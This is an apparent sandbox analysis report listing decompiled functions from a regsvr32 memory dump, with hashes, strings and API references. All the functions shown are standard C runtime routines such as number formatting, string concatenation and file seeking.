Opcode ID: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction ID: 9d611a2ef42a4ce54476322da2bce67ea854ec722e2e267300ecfa65af3b148c
Opcode Fuzzy Hash: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction Fuzzy Hash: 4DA13D32B0CA4682EAA08B16E89077E67E0F7C4B95F208121DACD877B5DF3ED451CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38D00 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38DAA
_invalid_parameter.LIBCMTD ref: 000007FEF9D38E49
_invalid_parameter.LIBCMTD ref: 000007FEF9D38F8C
_invalid_parameter.LIBCMTD ref: 000007FEF9D3903D
_invalid_parameter.LIBCMTD ref: 000007FEF9D39205

Strings

buf != NULL, xrefs: 000007FEF9D38D46, 000007FEF9D38DA3
sizeInTChars > 0, xrefs: 000007FEF9D38DE5, 000007FEF9D38E42
2 <= radix && radix <= 36, xrefs: 000007FEF9D38FD9, 000007FEF9D39036
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D38F28, 000007FEF9D38F85
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D38D5B, 000007FEF9D38D95, 000007FEF9D38DFA, 000007FEF9D38E34, 000007FEF9D38F3D, 000007FEF9D38F77, 000007FEF9D38FEE, 000007FEF9D39028, 000007FEF9D391B6, 000007FEF9D391F0
xtow_s, xrefs: 000007FEF9D38D9C, 000007FEF9D38E3B, 000007FEF9D38F7E, 000007FEF9D3902F, 000007FEF9D391F7
$, xrefs: 000007FEF9D38FA5
length < sizeInTChars, xrefs: 000007FEF9D391A1, 000007FEF9D391FE

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtow_s
API String ID: 2123368286-1993839260
Opcode ID: 758167781a4fb66a58f740ebc537b1c9f8383254a932b9fe6e590f504f1f2882
Instruction ID: 118e4e4707969e3dac6bf015ec0fe9163e407fa4248f5c8d89799a475a93b5a4
Opcode Fuzzy Hash: 758167781a4fb66a58f740ebc537b1c9f8383254a932b9fe6e590f504f1f2882
Instruction Fuzzy Hash: 49E11B72A1CB86CAE7A08B18E8447AEB3E1F384755F604525E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D370DA
_invalid_parameter.LIBCMTD ref: 000007FEF9D37179
_invalid_parameter.LIBCMTD ref: 000007FEF9D372B6
_invalid_parameter.LIBCMTD ref: 000007FEF9D37367
_invalid_parameter.LIBCMTD ref: 000007FEF9D37523

Strings

buf != NULL, xrefs: 000007FEF9D37076, 000007FEF9D370D3
sizeInTChars > 0, xrefs: 000007FEF9D37115, 000007FEF9D37172
2 <= radix && radix <= 36, xrefs: 000007FEF9D37303, 000007FEF9D37360
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D37252, 000007FEF9D372AF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D3708B, 000007FEF9D370C5, 000007FEF9D3712A, 000007FEF9D37164, 000007FEF9D37267, 000007FEF9D372A1, 000007FEF9D37318, 000007FEF9D37352, 000007FEF9D374D4, 000007FEF9D3750E
xtoa_s, xrefs: 000007FEF9D370CC, 000007FEF9D3716B, 000007FEF9D372A8, 000007FEF9D37359, 000007FEF9D37515
$, xrefs: 000007FEF9D372CF
length < sizeInTChars, xrefs: 000007FEF9D374BF, 000007FEF9D3751C

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtoa_s
API String ID: 2123368286-1853640030
Opcode ID: 820d6638ce8c2bc49aeb15d9bb45941f698caf6262644320b28b67af79be84a6
Instruction ID: 2769aadc75a8f45e94697a4dd9f042802452aa73cd8bd2afe7c03a6eee30acd9
Opcode Fuzzy Hash: 820d6638ce8c2bc49aeb15d9bb45941f698caf6262644320b28b67af79be84a6
Instruction Fuzzy Hash: D7E12A32A1DB86CAE7A08B59E8447AEB7E1F385354F604125E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E6C6 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E000007FE7FEF9D3E6C6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t224;
				signed char _t229;
				void* _t260;
				intOrPtr _t268;
				signed int _t342;
				signed int _t343;
				signed long long _t346;
				intOrPtr* _t365;
				intOrPtr* _t370;
				signed long long _t400;

				_t342 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a1220 = 7;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t343 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t346 = _a1304;
				_a1312 = _t346;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t346;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t224 = _a116;
				_a116 = _a116 - 1;
				if (_t224 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t224 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t229 = _a1296 + _a1220;
				_a1296 = _t229;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t229;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t365 = _a64;
				_a1328 = _t365;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t260 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t365;
				E000007FE7FEF9D26840(_t260,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t365 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t268 = _a1504;
				_a1344 = _t268;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t370 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t370;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t268 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t370 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t400, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e6c6
0x7fef9d3e6cd
0x7fef9d3e6d1
0x7fef9d3e6de
0x7fef9d3e6eb
0x7fef9d3e6f7
0x7fef9d3e6ff
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785
get_int64_arg.LIBCMTD ref: 000007FEF9D3E7AC

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
9, xrefs: 000007FEF9D3E988
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-1983305044
Opcode ID: 39c1530eb87c93b5c15807e3225054cbc2f74160d6d1f03a50421518d7a029c2
Instruction ID: 35e4d6cfc5d3e5722aa157ca10994467d352d975a6b38eaa5eb17889d52142ca
Opcode Fuzzy Hash: 39c1530eb87c93b5c15807e3225054cbc2f74160d6d1f03a50421518d7a029c2
Instruction Fuzzy Hash: 7AF1D872A0DAC58AE7B18B55E8417AFB7E0F784346F200125E6C987AE9EB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32D80 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32E31
_invalid_parameter.LIBCMTD ref: 000007FEF9D32F63
_invalid_parameter.LIBCMTD ref: 000007FEF9D330E4
_invalid_parameter.LIBCMTD ref: 000007FEF9D3327B

Strings

Buffer is too small, xrefs: 000007FEF9D331DB
wcscat_s, xrefs: 000007FEF9D32E23, 000007FEF9D32F55, 000007FEF9D330D6, 000007FEF9D3326D
(L"Buffer is too small" && 0), xrefs: 000007FEF9D33217, 000007FEF9D33274
(L"String is not null terminated" && 0), xrefs: 000007FEF9D33080, 000007FEF9D330DD
(((_Src))) != NULL, xrefs: 000007FEF9D32EFF, 000007FEF9D32F5C
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D32DCD, 000007FEF9D32E2A
String is not null terminated, xrefs: 000007FEF9D3304D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D32DE2, 000007FEF9D32E1C, 000007FEF9D32F14, 000007FEF9D32F4E, 000007FEF9D33095, 000007FEF9D330CF, 000007FEF9D3322C, 000007FEF9D33266

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: 5284e54803fa5a35f276e18858076b29593f150ab8ed8022a36a7ce25e0bf2f4
Instruction ID: c8a25613ed3391733179227ae6d5cd1be8fc2ee2dc7f1a1db629f40b2a14394d
Opcode Fuzzy Hash: 5284e54803fa5a35f276e18858076b29593f150ab8ed8022a36a7ce25e0bf2f4
Instruction Fuzzy Hash: CAF13832A0DB8685EBE08B19E94476EA3E0F385790F604535D6DE83BA8DF7ED045CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D369C0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D36A71
_invalid_parameter.LIBCMTD ref: 000007FEF9D36B9D
_invalid_parameter.LIBCMTD ref: 000007FEF9D36D17
_invalid_parameter.LIBCMTD ref: 000007FEF9D36EA5

Strings

Buffer is too small, xrefs: 000007FEF9D36E05
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D36A0D, 000007FEF9D36A6A
(L"Buffer is too small" && 0), xrefs: 000007FEF9D36E41, 000007FEF9D36E9E
strcat_s, xrefs: 000007FEF9D36A63, 000007FEF9D36B8F, 000007FEF9D36D09, 000007FEF9D36E97
(L"String is not null terminated" && 0), xrefs: 000007FEF9D36CB3, 000007FEF9D36D10
(((_Src))) != NULL, xrefs: 000007FEF9D36B39, 000007FEF9D36B96
String is not null terminated, xrefs: 000007FEF9D36C80
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D36A22, 000007FEF9D36A5C, 000007FEF9D36B4E, 000007FEF9D36B88, 000007FEF9D36CC8, 000007FEF9D36D02, 000007FEF9D36E56, 000007FEF9D36E90

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: cc07cef64c5b8afb013f442fd59d1430f3c77c8b5aa073aebe04f881c7874d42
Instruction ID: 80c7b19323cb8e8402763de004709ed27ed9fdf882d4b7b175d6de3bd1baee6a
Opcode Fuzzy Hash: cc07cef64c5b8afb013f442fd59d1430f3c77c8b5aa073aebe04f881c7874d42
Instruction Fuzzy Hash: CDF13A32A0CB8A89EBA08B14E84576EA7E0F385795FA04535D6DD43BE8DB7ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C30D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C315
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3C322
_invalid_parameter.LIBCMTD ref: 000007FEF9D3C3CC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3C3E1
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3C37A, 000007FEF9D3C3B7
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3C3BE
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3C365, 000007FEF9D3C3C5

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_argwctomb_s
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2560055391-3497434347
Opcode ID: 667eef7f1f49c1d82be4abe5f7b2b6c0360aabec3e49fa9d9e3a648fddbc0f41
Instruction ID: 0908f7725f90b5cc69585d97bf8e44ac8e860db6174f4101cd143eaefdb7169b
Opcode Fuzzy Hash: 667eef7f1f49c1d82be4abe5f7b2b6c0360aabec3e49fa9d9e3a648fddbc0f41
Instruction Fuzzy Hash: 87C11C72A0C7C686E7B1DB64E8457BEB7E4F384785F604025DAC886AA9DB7DE540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39290 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 142COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D392B6
__doserrno.LIBCMTD ref: 000007FEF9D39341
_invalid_parameter.LIBCMTD ref: 000007FEF9D3937B

Strings

_lseeki64, xrefs: 000007FEF9D3936D, 000007FEF9D3943C
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D393DB, 000007FEF9D39443
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3930C, 000007FEF9D39374
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39321, 000007FEF9D39366, 000007FEF9D393F0, 000007FEF9D39435, 000007FEF9D394E7
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D394D2

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_lseeki64$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 747159061-1442092225
Opcode ID: 14faf06f4b776b3818928093306a4898f737286e5044e20a730c767404cf7ae4
Instruction ID: ad53dfe6714ab654120e1b154ee45b7e90274128f767a3acb20d12471acdd345
Opcode Fuzzy Hash: 14faf06f4b776b3818928093306a4898f737286e5044e20a730c767404cf7ae4
Instruction Fuzzy Hash: AE617C72A1C646CAE7909B25EC4076E72E1F780765F604725E6ED47AF9DB3EE440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B12B Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 99COMMON

Download Yara Rule

APIs

_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2B2DB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B339
_exit.LIBCMTD ref: 000007FEF9D2B378

Strings

..., xrefs: 000007FEF9D2B167
